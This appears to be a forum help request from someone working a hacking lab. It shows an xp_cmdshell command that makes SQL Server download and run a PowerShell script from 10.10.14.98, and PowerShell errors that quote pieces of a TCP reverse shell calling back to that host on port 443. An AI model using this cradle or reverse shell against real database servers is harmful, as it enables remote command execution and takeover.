After running
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.98/shell.ps1\“);”
I get this error
client : The term ‘client’ is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
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client = New-Object System.Net.Sockets.TCPClient(“10.10.14.98”,443);$ …
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+ CategoryInfo : ObjectNotFound: (client:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
You cannot call a method on a null-valued expression.
At line:1 char:69
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… ts.TCPClient(“10.10.14.98”,443);$stream = $client.GetStream();[byte …
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~-
CategoryInfo : InvalidOperation: (
, RuntimeException -
FullyQualifiedErrorId : InvokeMethodOnNull
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You cannot call a method on a null-valued expression.
At line:1 char:137
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… 65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) …
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~-
CategoryInfo : InvalidOperation: (
, RuntimeException -
FullyQualifiedErrorId : InvokeMethodOnNull
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You cannot call a method on a null-valued expression.
At line:1 char:463
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… .Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
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~~~~~~~~~~~~~~~-
CategoryInfo : InvalidOperation: (
, RuntimeException -
FullyQualifiedErrorId : InvokeMethodOnNull
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